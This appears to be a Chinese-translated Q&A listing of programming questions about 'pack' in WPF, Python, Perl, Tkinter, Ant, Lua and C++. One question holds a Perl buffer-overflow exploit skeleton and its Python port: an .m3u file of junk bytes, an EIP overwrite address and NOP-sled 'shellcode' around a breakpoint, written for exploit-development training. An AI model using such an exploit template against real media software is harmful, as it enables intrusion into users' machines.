标签: pack

什么是应用程序的原始站点以及何时使用它

  • 什么是应用程序的原产地
  • 什么时候使用它
  • 如何与其关联的资源文件的构建操作
  • pack:// application:,,,和pack:// siteoforigin:,,,有什么区别

wpf resources xaml window pack

16
推荐指数
2
解决办法
9265
查看次数

如何将"Action Bar Icon Pack"添加到Android Studio

我刚刚从https://developer.android.com/design/downloads/index.html下载了Action Bar Icon Pack ,我无法找到在Android Studio中"安装"这些图标的方法...我应该逐个复制并粘贴到res/drawable文件夹吗?或者是否有一些目录可以解压缩它们?

icons android pack

14
推荐指数
1
解决办法
2万
查看次数

Python struct.pack()用于列表中的各个元素?

我想将列表中的所有数据打包到单个缓冲区中以通过UDP套接字发送.列表相对较长,因此索引列表中的每个元素都很繁琐.这是我到目前为止:

NumElements = len(data)
buf = struct.pack('d'*NumElements,data[0],data[1],data[2],data[3],data[4])
Run Code Online (Sandbox Code Playgroud)

但我想做一些pythonic,如果我在列表中添加更多元素,则不需要更改调用...类似于:

NumElements = len(data)
buf = struct.pack('d'*NumElements,data)  # Returns error
Run Code Online (Sandbox Code Playgroud)

这样做有好办法吗?

python struct udp list pack

13
推荐指数
1
解决办法
1万
查看次数

你什么时候使用unpack('h*'...)或pack('h*'...)?

在Perl中,packunpack有从十六进制字节转换成/两个模板:

h    十六进制字符串(首先是低nybble).
H    十六进制字符串(首先是高nybble).

最好用一个例子来澄清:

use 5.010; # so I can use say
my $buf = "\x12\x34\x56\x78";

say unpack('H*', $buf); # prints 12345678
say unpack('h*', $buf); # prints 21436587
Run Code Online (Sandbox Code Playgroud)

正如您所看到的,H人们在考虑将字节转换为十六进制/从十六进制转换时通常意味着什么.那么目的是h什么?拉里一定以为有人可能会使用它,否则他就不会费心去包括它.

你能给出一个真实世界的例子,你真的想用h而不是Hpack或者unpack吗? 我正在寻找一个具体的例子; 如果你知道一台机器组织它的字节,它是什么,你可以链接到它的一些文件?

我可以想一下你可以使用 的例子h,例如当你不关心格式时序列化一些数据,只要你能读回来,但对它H来说同样有用.我在寻找其中一个例子h比有用H.

perl hex unpack pack

11
推荐指数
1
解决办法
1万
查看次数

Perl的Pack('V')函数在Python中?

我最近一直致力于一些漏洞利用开发,为培训课程做好准备,而且我遇到了一个教程问题.我一直在关注我能找到的所有教程,使用Python而不是教程使用的语言,而不是偏好.我正在尝试对所有内容进行交叉编码,但我无法弄清楚如何对Perl的Pack()函数进行交叉编码.

TL; DR:我正在尝试将其转换为python:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
Run Code Online (Sandbox Code Playgroud)

我找到了Python的struct.pack()函数,但是当我使用它时

Fuzzed.write(struct.pack('V', 0x773D10A4))
Run Code Online (Sandbox Code Playgroud)

,它停止程序,不起作用.我究竟做错了什么?

这是我的完整源代码

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
Run Code Online (Sandbox Code Playgroud)

python perl exploit pack shellcode

10
推荐指数
2
解决办法
6405
查看次数

如何在已经打包到左侧的现有小部件下面打包tkinter小部件?

我正在尝试编写一个基本的Tkinter GUI,Text其顶部有一个小部件,然后是一个Button小部件,在它Text下面对齐,然后是按钮下面的另一个小部件.我遇到的问题是,在将Button小部件打包到左侧之后,当我再打包第二Text个小部件时,它将它放在右侧的按钮旁边,而不是按钮下面.无论我side为第二Text个小部件设置参数,都会发生这种情况.这是一段演示此行为的简单代码:

from Tkinter import *

root = Tk()

w = Text(root)
w.pack()

x = Button(root, text="Hi there!")
x.pack(side=LEFT)

y = Text(root)
y.pack(side=BOTTOM)

root.mainloop()
Run Code Online (Sandbox Code Playgroud)

那么我将如何设置第二Text个小部件,使其显示在按钮下方而不是右侧?

python tkinter widget pack

9
推荐指数
2
解决办法
3万
查看次数

如何使用Perl将48十六进制字符串转换为字节?

我有一个十六进制字符串(长度为48个字符),我想用pack函数将其转换为原始字节,以便将其放入Win32的字节向量中.

我如何用Perl做到这一点?

perl pack

9
推荐指数
2
解决办法
2万
查看次数

如何制作Ant任务来签署和打包我所有的JAR文件?

必须为webstart应用程序签署我的JAR文件.将它们打包以最小化下载时间会很不错.我正在尝试配置Ant任务以在部署应用程序期间自动执行此任务.由于pack进程重新组织jar内部结构使签名无效,因此Pack200文档建议采用3个步骤:

  1. 使用pack200重新打包JAR
  2. 用jarsigner签署JAR
  3. 使用pack200压缩JAR jar,生成.jar.pack.gz文件

Ant有一个默认的signjar任务,Sun发布了一个Pack200 ant任务.

问题是Sun pack200任务一次只能在一个文件上运行,重新包装操作必须指定一个输出文件.

我相信它应该是一个相当常见的操作,但我的蚂蚁文件变得过于复杂,并且有太多的临时文件.是时候乞求社区的智慧了:

是否有一种简单或至少是标准的方式来打包和签署我的所有JAR文件?

java compression ant code-signing pack

9
推荐指数
1
解决办法
7726
查看次数

Lua - 打包IEEE754单精度浮点数

我想在纯Lua中创建一个函数,它从一个数字生成一个分数(23位),一个指数(8位)和一个符号(1位),这样数字大约等于math.ldexp(fraction, exponent - 127) * (sign == 1 and -1 or 1),然后打包生成的值为32位.

数学库中的某个功能引起了我的注意:

frexp函数将浮点值(v)分解为尾数(m)和指数(n),使得m的绝对值大于或等于0.5且小于1.0,并且v = m*2 ^ N.

请注意,math.ldexp是反向操作.

但是,我想不出任何正确打包非整数的方法.由于此函数返回的尾数不是整数,我不确定是否可以使用它.

有没有什么有效的方法可以做类似于math.frexp()返回整数作为尾数的东西?或者是否有更好的方法在Lua中以IEEE754单精度浮点格式打包数字?

先感谢您.

编辑

我在此提出我所做的功能的(希望)最终版本:

function PackIEEE754(number)
    if number == 0 then
        return string.char(0x00, 0x00, 0x00, 0x00)
    elseif number ~= number then
        return string.char(0xFF, 0xFF, 0xFF, 0xFF)
    else
        local sign = 0x00
        if number < 0 then
            sign = 0x80
            number = -number
        end
        local mantissa, exponent = math.frexp(number)
        exponent = …
Run Code Online (Sandbox Code Playgroud)

floating-point lua ieee-754 pack

9
推荐指数
1
解决办法
1785
查看次数

具有交替类型的参数包

我有一个struct C初始化的可变数量的实例struct Astruct B.例如:

struct A
{};

struct B
{};

struct C
{
    C(A&& o1, B&& p1, A&& o2)
    {}
    C(A&& o1, B&& p1, A&& o2, B&& p2, A&& o3)
    {}
    C(A&& o1, B&& p1, A&& o2, B&& p2, A&& o3, B&& p3, A&& o4)
    {}
    C(A&& o1, B&& p1, A&& o2, B&& p2, A&& o3, B&& p3, A&& o4, B&&p4, A&& o5)
    {}
};
Run Code Online (Sandbox Code Playgroud)

因此,我不想提供具有不同数量参数的多个ctor,而是希望找到一些通用的东西.但是,ctor参数的数量总是增加两个参数:B&&A&&.这可以使用参数包完成.或者是没有针对每个参数实现的另一个解决方案?

目标应该是struct C可以像下面的例子那样构建: …

c++ parameters templates pack variadic-templates

9
推荐指数
2
解决办法
328
查看次数